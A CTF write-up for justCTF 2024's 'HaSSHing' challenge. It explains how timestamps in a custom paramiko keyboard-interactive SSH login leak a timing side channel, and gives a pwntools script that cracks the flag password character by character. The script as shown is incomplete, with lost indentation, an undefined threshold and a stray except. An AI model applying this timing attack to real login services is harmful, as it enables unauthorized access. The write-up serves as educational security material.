Tags: side-channel pwn paramiko misc ssh 

Rating: 5.0

Author: 0x6fe1be2

Version 19-06-24

# [justCTF 2024 teaser](https://ctftime.org/event/2342) (15.06-16.06)

## HaSSHing
Category: MISC, PWN

Points: 174 (64 Solves)

Teammates: Popax21

> Interact with the keyboard or not, I don’t care; as only the flag will let you in - no chance of hash collisions here!
> The flag consists only of the following characters: "CFT_cdhjlnstuw{}" and digits. Each character may appear multiple times.
> Challenged provided by Trail of Bits and authored by elopez.
> ```bash
> ssh hasshing.nc.jctf.pro -l ctf -p 1337
> ```

### TL;DR

The ssh connection gives very precise times for the output log, that can be used as a side channel to crack the password byte for byte.

### Overview
No Files :,\

Using verbose mode we can get some interesting information

ssh hasshing.nc.jctf.pro -l ctf -p 1337 -vvv


debug1: compat_banner: no match: paramiko_2.9.3
debug1: Authentications that can continue: keyboard-interactive,password
debug3: start over, passed a different list keyboard-interactive,password
debug3: preferred publickey,keyboard-interactive,password
debug3: authmethod_lookup keyboard-interactive
debug3: remaining preferred: password
debug3: authmethod_is_enabled keyboard-interactive
debug1: Next authentication method: keyboard-interactive
debug2: userauth_kbdint

`paramiko` might sound familiar to some, basically it's a big python ssh module that is used in project like `pwntools`. Also note that 2.9.3 is very outdated which might be interesting.

The used authentication method is `keyboard-interactive`.

Let's look at the source code for the interactive authentication code:

def check_auth_interactive(self, username, submethods):
Begin an interactive authentication challenge, if supported. You
should override this method in server mode if you want to support the
``"keyboard-interactive"`` auth type, which requires you to send a
series of questions for the client to answer.

Return ``AUTH_FAILED`` if this auth method isn't supported. Otherwise,
you should return an `.InteractiveQuery` object containing the prompts
and instructions for the user. The response will be sent via a call
to `check_auth_interactive_response`.

The default implementation always returns ``AUTH_FAILED``.

:param str username: the username of the authenticating client
:param str submethods:
a comma-separated list of methods preferred by the client (usually
``AUTH_FAILED`` if this auth method isn't supported; otherwise an
object containing queries for the user
:rtype: int or `.InteractiveQuery`

Interesting, here isn't an implementation for this, meaning that the challenge creators must have created their own. Let's play around with it:

### Vulnerability

[keyboard-interactive authentication mode]
Server time is 2024-06-19 08:20:25.102303
([email protected]) password: a
[2024-06-19 08:20:25.845872] Checking password...
[2024-06-19 08:20:25.896760] That wasn't it, sorry. Try again.
([email protected]) password: j
[2024-06-19 08:20:28.040791] Checking password...
[2024-06-19 08:20:28.141839] That wasn't it, sorry. Try again.
([email protected]) password:

We can see that the charactor `a` takes about 0.05s but `j` takes 0.1, which we know is the prefix of the flag, so let's use this information to write an exploit.

### Exploit

Thanks to Popax21 for writing the exploit and getting the flag during the CTF. I slightly modified it for the writeup.

Flag: `justCTF{s1d3ch4nn3ls_4tw_79828}`


from pwn import *
import datetime
import re as regex

linfo = lambda x: log.info(x)
lwarn = lambda x: log.warn(x)
lerror = lambda x: log.error(x)
lprog = lambda x: log.progress(x)

byt = lambda x: x if isinstance(x, bytes) else x.encode() if isinstance(x, str) else repr(x).encode()
phex = lambda x, y='': print(y + hex(x))
lhex = lambda x, y='': linfo(y + hex(x))
pad = lambda x, s=8, v=b'\0', o='r': byt(x).ljust(s, byt(v)) if o == 'r' else byt(x).rjust(s, byt(v))
padhex = lambda x, s=None: pad(hex(x)[2:],((x.bit_length()//8)+1)*2 if s is None else s, b'0', 'l')
upad = lambda x: u64(pad(x))
tob = lambda x: bytes.fromhex(padhex(x).decode())

gelf = lambda elf=None: elf if elf else exe
srh = lambda x, elf=None: gelf(elf).search(byt(x)).__next__()
sasm = lambda x, elf=None: gelf(elf).search(asm(x), executable=True).__next__()
lsrh = lambda x: srh(x, libc)
lasm = lambda x: sasm(x, libc)

cyc = lambda x: cyclic(x)
cfd = lambda x: cyclic_find(x)
cto = lambda x: cyc(cfd(x))

t = None
gt = lambda at=None: at if at else t
sl = lambda x, t=None: gt(t).sendline(byt(x))
se = lambda x, t=None: gt(t).send(byt(x))
sla = lambda x, y, t=None: gt(t).sendlineafter(byt(x), byt(y))
sa = lambda x, y, t=None: gt(t).sendafter(byt(x), byt(y))
ra = lambda t=None: gt(t).recvall()
rl = lambda t=None: gt(t).recvline()
rls = lambda t=None: rl(t)[:-1]
re = lambda x, t=None: gt(t).recv(x)
ru = lambda x, t=None: gt(t).recvuntil(byt(x))
it = lambda t=None: gt(t).interactive()
cl = lambda t=None: gt(t).close()

CHARS = "_cdhjlnstuw" + string.digits + "{}CFT"

def extract_time(l):
m = regex.match(rb"\[(.*)\]", l)
assert m
return datetime.datetime.fromisoformat(m.group(1).decode())

# justCTF{s1d3ch4nn3ls_4tw_79828}
pw = ""
prog = lprog("Cracking password")
info = lprog("Cracking info")
retries = 0

while True:
context.log_level = 'error'
t = process("ssh hasshing.nc.jctf.pro -l ctf -p 1337".split(), raw=True, stdin=process.PTY)
context.log_level = 'info'
while True:
mc, mt = None, None
for c in CHARS:

prog.status(f"trying '%s%c'", pw, c)

sla("([email protected]) password:", pw + c)

l = rl()

if b"Checking password..." not in l and c == '}':
prog.success(pw + c)

start_time = extract_time(l)

err_time = extract_time(rl())

dt = err_time - start_time

if mt is None or mt < dt:
ot = mt
mc = c
mt = dt

ddt = mt - min(dt, ot or dt)
info.status(f"best(%c): %d, crnt: %d, delta: %d",
mc, mt.microseconds, dt.microseconds, ddt.microseconds)

if ddt.microseconds > THRESHOLD:

if ddt.microseconds < THRESHOLD:
if retries > 1:
info.failure('failed twice sth is wrong')
info.status("retrying, very low delta '%s': %d", pw, ddt.microseconds)
pw = pw[:-1]
retries += 1

pw += mc
retries = 0

except Exception:
info.status('EOF restarting connection')
context.log_level = 'error'


Original writeup (https://github.com/TeamAustria/writeups/blob/main/2024-justctf/hasshing.md).